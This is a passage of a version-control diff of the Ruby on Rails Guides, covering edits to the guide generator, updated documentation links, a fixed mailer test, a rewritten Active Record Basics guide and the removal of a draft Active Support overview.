guide =~ /(.*?)\.textile(?:\.erb)?$/
name = $1
puts "Generating #{name}"
@ -46,7 +52,7 @@ module RailsGuides
@view = ActionView::Base.new(view_path)
@view.extend(Helpers)
if guide =~ /\.erb\.textile/
if guide =~ /\.textile\.erb$/
# Generate the erb pages with textile formatting - e.g. index/authors
result = view.render(:layout => 'layout', :file => guide)
f.write textile(result)
@ -55,7 +61,7 @@ module RailsGuides
body = set_header_section(body, @view)
body = set_index(body, @view)
result = view.render(:layout => 'layout', :text => textile(body))
result = view.render(:layout => 'layout', :text => textile(body).html_safe!)
f.write result
warn_about_broken_links(result) if ENV.key?("WARN_BROKEN_LINKS")
end

View File

@ -18,7 +18,7 @@ Rails 2.2 supplies an easy system for internationalization (or i18n, for those o
* More information :
** "Official Rails i18 website":http://rails-i18n.org
** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
** "Localizing Rails : Demo application":http://i18n-demo.phusion.nl
** "Localizing Rails : Demo application":http://github.com/clemens/i18n_demo_app
h4. Compatibility with Ruby 1.9 and JRuby
@ -28,20 +28,20 @@ h3. Documentation
The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started_with_rails.html
* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started.html
* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
* "Active Record Finders":http://guides.rubyonrails.org/finders.html
* "Active Record Query Interface":http://guides.rubyonrails.org/active_record_querying.html
* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing_outside_in.html
* "Basics of Action Controller":http://guides.rubyonrails.org/actioncontroller_basics.html
* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html
* "Action Controller Overview":http://guides.rubyonrails.org/action_controller_overview.html
* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
* "Testing Rails Applications":http://guides.rubyonrails.org/testing_rails_applications.html
* "A Guide to Testing Rails Applications":http://guides.rubyonrails.org/testing.html
* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
* "Benchmarking and Profiling Rails Applications":http://guides.rubyonrails.org/benchmarking_and_profiling.html
* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/creating_plugins.html
* "Performance Testing Rails Applications":http://guides.rubyonrails.org/performance_testing.html
* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/plugins.html
All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
@ -229,7 +229,7 @@ This will enable recognition of (among others) these routes:
* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
* More information:
** "Rails Routing from the Outside In":http://guides.rails.info/routing/routing_outside_in.html#_nested_resources
** "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html#_nested_resources
** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
h4. Method Arrays for Member or Collection Routes

View File

@ -81,7 +81,7 @@ accepts_nested_attributes_for :author,
:reject_if => proc { |attributes| attributes['name'].blank? }
</ruby>
* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
* Lead Contributor: "Eloy Duran":http://superalloy.nl/
* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
h4. Nested Transactions
@ -365,10 +365,10 @@ You can write this view in Rails 2.3:
<% end %>
</erb>
* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
* Lead Contributor: "Eloy Duran":http://superalloy.nl/
* More Information:
** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
** "complex-form-examples":http://github.com/alloy/complex-form-examples/tree/nested_attributes
** "complex-form-examples":http://github.com/alloy/complex-form-examples
** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
h4. Smart Rendering of Partials

View File

@ -402,8 +402,6 @@ Testing mailers normally involves two things: One is that the mail was queued, a
<ruby>
class UserMailerTest < ActionMailer::TestCase
tests UserMailer
def test_welcome_email
user = users(:some_user_in_your_fixtures)
@ -412,7 +410,7 @@ class UserMailerTest < ActionMailer::TestCase
assert !ActionMailer::Base.deliveries.empty?
# Test the body of the sent email contains what we expect it to
assert_equal [@user.email], email.to
assert_equal [user.email], email.to
assert_equal "Welcome to My Awesome Site", email.subject
assert_match /Welcome to example.com, #{user.first_name}/, email.body
end

File diff suppressed because it is too large Load Diff

View File

@ -1,50 +1,37 @@
h2. Active Record Basics
This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer.
This guide is an introduction to Active Record. After reading this guide we hope that you'll learn:
After reading this guide we hope that you'll be able to:
* Understand the way Active Record fits into the MVC model.
* Create basic Active Record models and map them with your database tables.
* Use your models to execute CRUD (Create, Read, Update and Delete) database operations.
* Follow the naming conventions used by Rails to make developing database applications easier and obvious.
* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic.
* Use Active Record with legacy databases that do not follow the Rails naming conventions.
* What Object Relational Mapping and Active Record are and how they are used in Rails
* How Active Record fits into the Model-View-Controller paradigm
* How to use Active Record models to manipulate data stored in a relational database
* Active Record schema naming conventions
* The concepts of database migrations, validations and callbacks
endprologue.
h3. What's Active Record?
h3. What is Active Record?
Rails' ActiveRecord is an implementation of Martin Fowler's "Active Record Design Pattern":http://martinfowler.com/eaaCatalog/activeRecord.html. This pattern is based on the idea of creating relations between the database and the application in the following way:
Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
* Each database table is mapped to a class.
* Each table column is mapped to an attribute of this class.
* Each instance of this class is mapped to a single row in the database table.
h4. The Active Record Pattern
The definition of the Active Record pattern in Martin Fowler's words:
Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.
??An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.??
h4. Object Relational Mapping
h3. Object Relational Mapping
Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.
The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behavior of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excellent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in.
h4. Active Record as an ORM Framework
h3. ActiveRecord as an ORM Framework
Active Record gives us several mechanisms, the most important being the ability to:
ActiveRecord gives us several mechanisms, being the most important ones the ability to:
* Represent models.
* Represent associations between these models.
* Represent inheritance hierarchies through related models.
* Validate models before they get recorded to the database.
* Represent models and their data
* Represent associations between these models
* Represent inheritance hierarchies through related models
* Validate models before they get persisted to the database
* Perform database operations in an object-oriented fashion.
It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern.
h3. Active Record Inside the MVC Model
Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsibility to deliver you the easiest possible way to recover this data from the database.
h3. Convention over Configuration in ActiveRecord
When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
@ -125,11 +112,93 @@ class Product < ActiveRecord::Base
end
</ruby>
h3. Reading and Writing Data
CRUD is an acronym for the four verbs we use to operate on data: Create, Read, Update, Delete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
h4. Create
Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database.
For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database:
<ruby>
user = User.create(:name => "David", :occupation => "Code Artist")
</ruby>
Using the _new_ method, an object can be created without being saved:
<ruby>
user = User.new
user.name = "David"
user.occupation = "Code Artist"
</ruby>
A call to _user.save_ will commit the record to the database.
Finally, passing a block to either create or new will return a new User object:
<ruby>
user = User.new do |u|
u.name = "David"
u.occupation = "Code Artist"
end
</ruby>
h4. Read
ActiveRecord provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by ActiveRecord.
<ruby>
# return all records
users = User.all
</ruby>
<ruby>
# return first record
user = User.first
</ruby>
<ruby>
# return the first user named David
david = User.find_by_name('David')
</ruby>
<ruby>
# find all users named David who are Code Artists and sort by created_at in reverse chronological order
users = User.all(:conditions => { :name => 'David', :occupation => 'Code Artist'}, :order => 'created_at DESC')
</ruby>
You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide.
h4. Update
Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
<ruby>
user = User.find_by_name('David')
user.name = 'Dave'
user.save
</ruby>
h4. Delete
Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
<ruby>
user = User.find_by_name('David')
user.destroy
</ruby>
h3. Validations
ActiveRecord gives the ability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the life-cycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#validations-overview.
Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#validations-overview.
h3. Callbacks
ActiveRecord callbacks allow you to attach code to certain events in the life-cycle of your models. This way you can add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#callbacks-overview.
Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":activerecord_validations_callbacks.html#callbacks-overview.
h3. Migrations
Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html

File diff suppressed because it is too large Load Diff

View File

@ -1,818 +0,0 @@
h2. Active Support Overview
Active Support is the Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff. It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Rails itself.
By referring to this guide you will learn:
* The extensions to the Ruby core modules and classes provided by Rails.
* The rest of fundamental libraries available in Rails.
endprologue.
h3. Extensions to All Objects
h4. +blank?+ and +present?+
The following values are considered to be blank in a Rails application:
* +nil+ and +false+,
* strings composed only of whitespace, i.e. matching +/\A\s*\z/+,
* empty arrays and hashes, and
* any other object that responds to +empty?+ and it is empty.
WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank.
For example, this method from +ActionDispatch::Response+ uses +blank?+ to easily be robust to +nil+ and whitespace strings in one shot:
<ruby>
def charset
charset = String(headers["Content-Type"] || headers["type"]).split(";")[1]
charset.blank? ? nil : charset.strip.split("=")[1]
end
</ruby>
That's a typical use case for +blank?+.
Here, the method Rails runs to instantiate observers upon initialization has nothing to do if there are none:
<ruby>
def instantiate_observers
return if @observers.blank?
# ...
end
</ruby>
The method +present?+ is equivalent to +!blank?+:
<ruby>
assert @response.body.present? # same as !@response.body.blank?
</ruby>
h4. +duplicable?+
A few fundamental objects in Ruby are singletons. For example, in the whole live of a program the integer 1 refers always to the same instance:
<ruby>
1.object_id # => 3
Math.cos(0).to_i.object_id # => 3
</ruby>
Hence, there's no way these objects can be duplicated through +dup+ or +clone+:
<ruby>
true.dup # => TypeError: can't dup TrueClass
</ruby>
Some numbers which are not singletons are not duplicable either:
<ruby>
0.0.clone # => allocator undefined for Float
(2**1024).clone # => allocator undefined for Bignum
</ruby>
Active Support provides +duplicable?+ to programmatically query an object about this property:
<ruby>
"".duplicable? # => true
false.duplicable? # => false
</ruby>
By definition all objects are +duplicable?+ except +nil+, +false+, +true+, symbols, numbers, and class objects.
WARNING. Using +duplicable?+ is discouraged because it depends on a hard-coded list. Classes have means to disallow duplication like removing +dup+ and +clone+ or raising exceptions from them, only +rescue+ can tell.
h4. +returning+
The method +returning+ yields its argument to a block and returns it. You tipically use it with a mutable object that gets modified in the block:
<ruby>
def html_options_for_form(url_for_options, options, *parameters_for_url)
returning options.stringify_keys do |html_options|
html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
html_options["action"] = url_for(url_for_options, *parameters_for_url)
end
end
</ruby>
See also "+Object#tap+":#tap.
h4. +tap+
+Object#tap+ exists in Ruby 1.8.7 and 1.9, and it is defined by Active Support for previous versions. This method yields its receiver to a block and returns it.
For example, the following class method from +ActionDispatch::TestResponse+ creates, initializes, and returns a new test response using +tap+:
<ruby>
def self.from_response(response)
new.tap do |resp|
resp.status = response.status
resp.headers = response.headers
resp.body = response.body
end
end
</ruby>
See also "+Object#returning+":#returning.
h4. +try+
Sometimes you want to call a method provided the receiver object is not +nil+, which is something you usually check first.
For instance, note how this method of +ActiveRecord::ConnectionAdapters::AbstractAdapter+ checks if there's a +@logger+:
<ruby>
def log_info(sql, name, ms)
if @logger && @logger.debug?
name = '%s (%.1fms)' % [name || 'SQL', ms]
@logger.debug(format_log_entry(name, sql.squeeze(' ')))
end
end
</ruby>
You can shorten that using +Object#try+. This method is a synonim for +Object#send+ except that it returns +nil+ if sent to +nil+. The previous example could then be rewritten as:
<ruby>
def log_info(sql, name, ms)
if @logger.try(:debug?)
name = '%s (%.1fms)' % [name || 'SQL', ms]
@logger.debug(format_log_entry(name, sql.squeeze(' ')))
end
end
</ruby>
h4. +metaclass+
The method +metaclass+ returns the singleton class on any object:
<ruby>
String.metaclass # => #<Class:String>
String.new.metaclass # => #<Class:#<String:0x17a1d1c>>
</ruby>
h4. +class_eval(*args, &block)+
You can evaluate code in the context of any object's singleton class using +class_eval+:
<ruby>
class Proc
def bind(object)
block, time = self, Time.now
object.class_eval do
method_name = "__bind_#{time.to_i}_#{time.usec}"
define_method(method_name, &block)
method = instance_method(method_name)
remove_method(method_name)
method
end.bind(object)
end
end
</ruby>
h4. +acts_like?(duck)+
The method +acts_like+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines
<ruby>
def acts_like_string?
end
</ruby>
which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
<ruby>
some_klass.acts_like?(:string)
</ruby>
Rails has classes that act like +Date+ or +Time+ and follow this contract.
h4. +to_param+
All objects in Rails respond to the method +to_param+, which is meant to return something that represents them as values in a query string, or as a URL fragments.
By default +to_param+ just calls +to_s+:
<ruby>
7.to_param # => "7"
</ruby>
The return value of +to_param+ should *not* be escaped:
<ruby>
"Tom & Jerry".to_param # => "Tom & Jerry"
</ruby>
Several classes in Rails overwrite this method.
For example +nil+, +true+, and +false+ return themselves. +Array#to_param+ calls +to_param+ on the elements and joins the result with "/":
<ruby>
[0, true, String].to_param # => "0/true/String"
</ruby>
Notably, the Rails routing system calls +to_param+ on models to get a value for the +:id+ placeholder. +ActiveRecord::Base#to_param+ returns the +id+ of a model, but you can redefine that method in your models. For example, given
<ruby>
class User
def to_param
"#{id}-#{name.parameterize}"
end
end
</ruby>
we get:
<ruby>
user_path(@user) # => "/users/357-john-smith"
</ruby>
WARNING. Controllers need to be aware of any redifinition of +to_param+ because when a request like that comes in "357-john-smith" is the value of +params[:id]+.
h4. +to_query+
Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given
<ruby>
class User
def to_param
"#{id}-#{name.parameterize}"
end
end
</ruby>
we get:
<ruby>
current_user.to_query('user') # => user=357-john-smith
</ruby>
This method escapes whatever is needed, both for the key and the value:
<ruby>
account.to_query('company[name]')
# => "company%5Bname%5D=Johnson+%26+Johnson"
</ruby>
so its output is ready to be used in a query string.
Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "/":
<ruby>
[3.4, -45.6].to_query('sample')
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
</ruby>
Hashes also respond to +to_query+ but with a different signature. If no argument is passed a call generates a sorted series of key/value assigments calling +to_query(key)+ on its values. Then it joins the result with "&":
<ruby>
{:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3"
</ruby>
The method +Hash#to_query+ accepts an optional namespace for the keys:
<ruby>
{:id => 89, :name => "John Smith"}.to_query('user')
# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
</ruby>
h4. +with_options+
The method +with_options+ provides a way to factor out common options in a series of method calls.
Given a default options hash, +with_options+ yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
<ruby>
class Account < ActiveRecord::Base
has_many :customers, :dependent => :destroy
has_many :products, :dependent => :destroy
has_many :invoices, :dependent => :destroy
has_many :expenses, :dependent => :destroy
end
</ruby>
this way:
<ruby>
class Account < ActiveRecord::Base
with_options :dependent => :destroy do |assoc|
assoc.has_many :customers
assoc.has_many :products
assoc.has_many :invoices
assoc.has_many :expenses
end
end
</ruby>
That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
<ruby>
I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
subject i18n.t :subject
body i18n.t :body, :user_name => user.name
end
</ruby>
TIP: Since +with_options+ forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
h4. Instance Variables
Active Support provides several methods to ease access to instance variables.
h5. +instance_variable_defined?+
The method +instance_variable_defined?+ exists in Ruby 1.8.6 and later, and it is defined for previous versions anyway:
<ruby>
class C
def initialize
@a = 1
end
def m
@b = 2
end
end
c = C.new
c.instance_variable_defined?("@a") # => true
c.instance_variable_defined?(:@a) # => true
c.instance_variable_defined?("a") # => NameError: `a' is not allowed as an instance variable name
c.instance_variable_defined?("@b") # => false
c.m
c.instance_variable_defined?("@b") # => true
</ruby>
h5. +instance_variable_names+
Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings:
<ruby>
class C
def initialize(x, y)
@x, @y = x, y
end
end
C.new(0, 1).instance_variable_names # => ["@y", "@x"]
</ruby>
WARNING: The order in which the names are returned is unespecified, and it indeed depends on the version of the interpreter.
h5. +instance_values+
The method +instance_values+ returns a hash that maps instance variable names without "@" to their
corresponding values. Keys are strings both in Ruby 1.8 and 1.9:
<ruby>
class C
def initialize(x, y)
@x, @y = x, y
end
end
C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
</ruby>
h5. +copy_instance_variables_from(object, exclude = [])+
Copies the instance variables of +object+ into +self+.
Instance variable names in the +exclude+ array are ignored. If +object+
responds to +protected_instance_variables+ the ones returned are
also ignored. For example, Rails controllers implement that method.
In both arrays strings and symbols are understood, and they have to include
the at sign.
<ruby>
class C
def initialize(x, y, z)
@x, @y, @z = x, y, z
end
def protected_instance_variables
%w(@z)
end
end
a = C.new(0, 1, 2)
b = C.new(3, 4, 5)
a.copy_instance_variables_from(b, [:@y])
# a is now: @x = 3, @y = 1, @z = 2
</ruby>
In the example +object+ and +self+ are of the same type, but they don't need to.
h4. Silencing Warnings, Streams, and Exceptions
The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards:
<ruby>
silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
</ruby>
You can silence any stream while a block runs with +silence_stream+:
<ruby>
silence_stream(STDOUT) do
# STDOUT is silent here
end
</ruby>
Silencing exceptions is also possible with +suppress+. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is +kind_of?+ any of the arguments, +suppress+ captures it and returns silently. Otherwise the exception is reraised:
<ruby>
# If the user is locked the increment is lost, no big deal.
suppress(ActiveRecord::StaleObjectError) do
current_user.increment! :visits
end
</ruby>
h3. Extensions to +Module+
...
h3. Extensions to +Class+
h4. Class Attribute Accessors
The macros +cattr_reader+, +cattr_writer+, and +cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it:
<ruby>
class MysqlAdapter < AbstractAdapter
# Generates class methods to access @@emulate_booleans.
cattr_accessor :emulate_booleans
self.emulate_booleans = true
end
</ruby>
Instance methods are created as well for convenience. For example given
<ruby>
module ActionController
class Base
cattr_accessor :logger
end
end
</ruby>
we can access +logger+ in actions. The generation of the writer instance method can be prevented setting +:instance_writer+ to +false+ (not any false value, but exactly +false+):
<ruby>
module ActiveRecord
class Base
# No pluralize_table_names= instance writer is generated.
cattr_accessor :pluralize_table_names, :instance_writer => false
end
end
</ruby>
h4. Class Inheritable Attributes
Class variables are shared down the inheritance tree. Class instance variables are not shared, but they are not inherited either. The macros +class_inheritable_reader+, +class_inheritable_writer+, and +class_inheritable_accessor+ provide accesors for class-level data which is inherited but not shared with children:
<ruby>
module ActionController
class Base
# FIXME: REVISE/SIMPLIFY THIS COMMENT.
# The value of allow_forgery_protection is inherited,
# but its value in a particular class does not affect
# the value in the rest of the controllers hierarchy.
class_inheritable_accessor :allow_forgery_protection
end
end
</ruby>
They accomplish this with class instance variables and cloning on subclassing, there are no class variables involved. Cloning is performed with +dup+ as long as the value is duplicable.
There are some variants specialised in arrays and hashes:
<ruby>
class_inheritable_array
class_inheritable_hash
</ruby>
Those writers take any inherited array or hash into account and extend them rather than overwrite them.
As with vanilla class attribute accessors these macros create convenience instance methods for reading and writing. The generation of the writer instance method can be prevented setting +:instance_writer+ to +false+ (not any false value, but exactly +false+):
<ruby>
module ActiveRecord
class Base
class_inheritable_accessor :default_scoping, :instance_writer => false
end
end
</ruby>
Since values are copied when a subclass is defined, if the base class changes the attribute after that, the subclass does not see the new value. That's the point.
There's a related macro called +superclass_delegating_accessor+, however, that does not copy the value when the base class is subclassed. Instead, it delegates reading to the superclass as long as the attribute is not set via its own writer. For example, +ActionMailer::Base+ defines +delivery_method+ this way:
<ruby>
module ActionMailer
class Base
superclass_delegating_accessor :delivery_method
self.delivery_method = :smtp
end
end
</ruby>
If for whatever reason an application loads the definition of a mailer class and after that sets +ActionMailer::Base.delivery_method+, the mailer class will still see the new value. In addition, the mailer class is able to change the +delivery_method+ without affecting the value in the parent using its own inherited class attribute writer.
h4. Subclasses
The +subclasses+ method returns the names of all subclasses of a given class as an array of strings. That comprises not only direct subclasses, but all descendants down the hierarchy:
<ruby>
class C; end
C.subclasses # => []
Integer.subclasses # => ["Bignum", "Fixnum"]
module M
class A; end
class B1 < A; end
class B2 < A; end
end
module N
class C < M::B1; end
end
M::A.subclasses # => ["N::C", "M::B2", "M::B1"]
</ruby>
The order in which these class names are returned is unspecified.
See also +Object#subclasses_of+ in "Extensions to All Objects FIX THIS LINK":FIXME.
h4. Class Removal
Roughly speaking, the +remove_class+ method removes the class objects passed as arguments:
<ruby>
Class.remove_class(Hash, Dir) # => [Hash, Dir]
Hash # => NameError: uninitialized constant Hash
Dir # => NameError: uninitialized constant Dir
</ruby>
More specifically, +remove_class+ attempts to remove constants with the same name as the passed class objects from their parent modules. So technically this method does not guarantee the class objects themselves are not still valid and alive somewhere after the method call:
<ruby>
module M
class A; end
class B < A; end
end
A2 = M::A
M::A.object_id # => 13053950
Class.remove_class(M::A)
M::B.superclass.object_id # => 13053950 (same object as before)
A2.name # => "M::A" (name is hard-coded in object)
</ruby>
WARNING: Removing fundamental classes like +String+ can result in really funky behaviour.
The method +remove_subclasses+ provides a shortcut for removing all descendants of a given class, where "removing" has the meaning explained above:
<ruby>
class A; end
class B1 < A; end
class B2 < A; end
class C < A; end
A.subclasses # => ["C", "B2", "B1"]
A.remove_subclasses
A.subclasses # => []
C # => NameError: uninitialized constant C
</ruby>
See also +Object#remove_subclasses_of+ in "Extensions to All Objects FIX THIS LINK":FIXME.
h3. Extensions to +NilClass+
...
h3. Extensions to +TrueClass+
...
h3. Extensions to +FalseClass+
...
h3. Extensions to +Symbol+
...
h3. Extensions to +String+
...
h3. Extensions to +Numeric+
...
h3. Extensions to +Integer+
...
h3. Extensions to +Float+
...
h3. Extensions to +BigDecimal+
...
h3. Extensions to +Enumerable+
...
h3. Extensions to +Array+
h4. Accessing
Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index:
<ruby>
%w(a b c d).to(2) # => %w(a b c)
[].to(7) # => []
</ruby>
Similarly, +from+ returns the tail from the element at the passed index on:
<ruby>
%w(a b c d).from(2) # => %w(c d)
%w(a b c d).from(10) # => nil
[].from(0) # => nil
</ruby>
The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding element (+first+ is builtin). Thanks to social wisdom and positive constructiveness all around, +forty_two+ is also available.
You can pick a random element with +rand+:
<ruby>
shape_type = [Circle, Square, Triangle].rand
</ruby>
h4. Grouping
h5. +in_groups_of(number, fill_with = nil)+
The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups:
<ruby>
[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
</ruby>
or yields them in turn if a block is passed:
<ruby>
<% sample.in_groups_of(3) do |a, b, c| %>
<tr>
<td><%=h a %></td>
<td><%=h b %></td>
<td><%=h c %></td>
</tr>
<% end %>
</ruby>
The first example shows +in_groups_of+ fills the last group with as many +nil+ elements as needed to have the requested size. You can change this padding value using the second optional argument:
<ruby>
[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
</ruby>
And you can tell the method not to fill the last group passing +false+:
<ruby>
[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
</ruby>
As a consequence +false+ can't be a used as a padding value.
h5. +in_groups(number, fill_with = nil)+
The method +in_groups+ splits an array into a certain number of groups. The method returns and array with the groups:
<ruby>
%w(1 2 3 4 5 6 7).in_groups(3)
# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
</ruby>
or yields them in turn if a block is passed:
<ruby>
%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
["1", "2", "3"]
["4", "5", nil]
["6", "7", nil]
</ruby>
The examples above show that +in_groups+ fills some groups with a trailing +nil+ element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
You can change this padding value using the second optional argument:
<ruby>
%w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
</ruby>
And you can tell the method not to fill the smaller groups passing +false+:
<ruby>
%w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
</ruby>
As a consequence +false+ can't be a used as a padding value.
h5. +split(value = nil)+
The method +split+ divides an array by a separator and returns the resulting chunks.
If a block is passed the separators are those elements of the array for which the block returns true:
<ruby>
(-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
</ruby>
Otherwise, the value received as argument, which defaults to +nil+, is the separator:
<ruby>
[0, 1, -5, 1, 1, "foo", "bar"].split(1)
# => [[0], [-5], [], ["foo", "bar"]]
</ruby>
NOTE: Observe in the previous example that consecutive separators result in empty arrays.
h3. Extensions to +Hash+
...
h3. Extensions to +Range+
...
h3. Extensions to +Proc+
...
h3. Extensions to +Date+
...
h3. Extensions to +DateTime+
...
h3. Extensions to +Time+
...
h3. Extensions to +Process+
...
h3. Extensions to +Pathname+
...
h3. Extensions to +File+
...
h3. Extensions to +Exception+
...
h3. Extensions to +NameError+
...
h3. Extensions to +LoadError+
...
h3. Extensions to +CGI+
...
h3. Extensions to +Benchmark+
...
h3. Changelog
"Lighthouse ticket":https://rails.lighthouseapp.com/projects/16213/tickets/67
* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn

View File

@ -403,6 +403,47 @@ WARNING. Note that some databases are configured to perform case-insensitive sea
The default error message for +validates_uniqueness_of+ is "_has already been taken_".
h4. +validates_with+
This helper passes the record to a separate class for validation.
<ruby>
class Person < ActiveRecord::Base
validates_with GoodnessValidator
end
class GoodnessValidator < ActiveRecord::Validator
def validate
if record.first_name == "Evil"
record.errors[:base] << "This person is evil"
end
end
end
</ruby>
The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class.
The validator class has two attributes by default:
* +record+ - the record to be validated
* +options+ - the extra options that were passed to +validates_with+
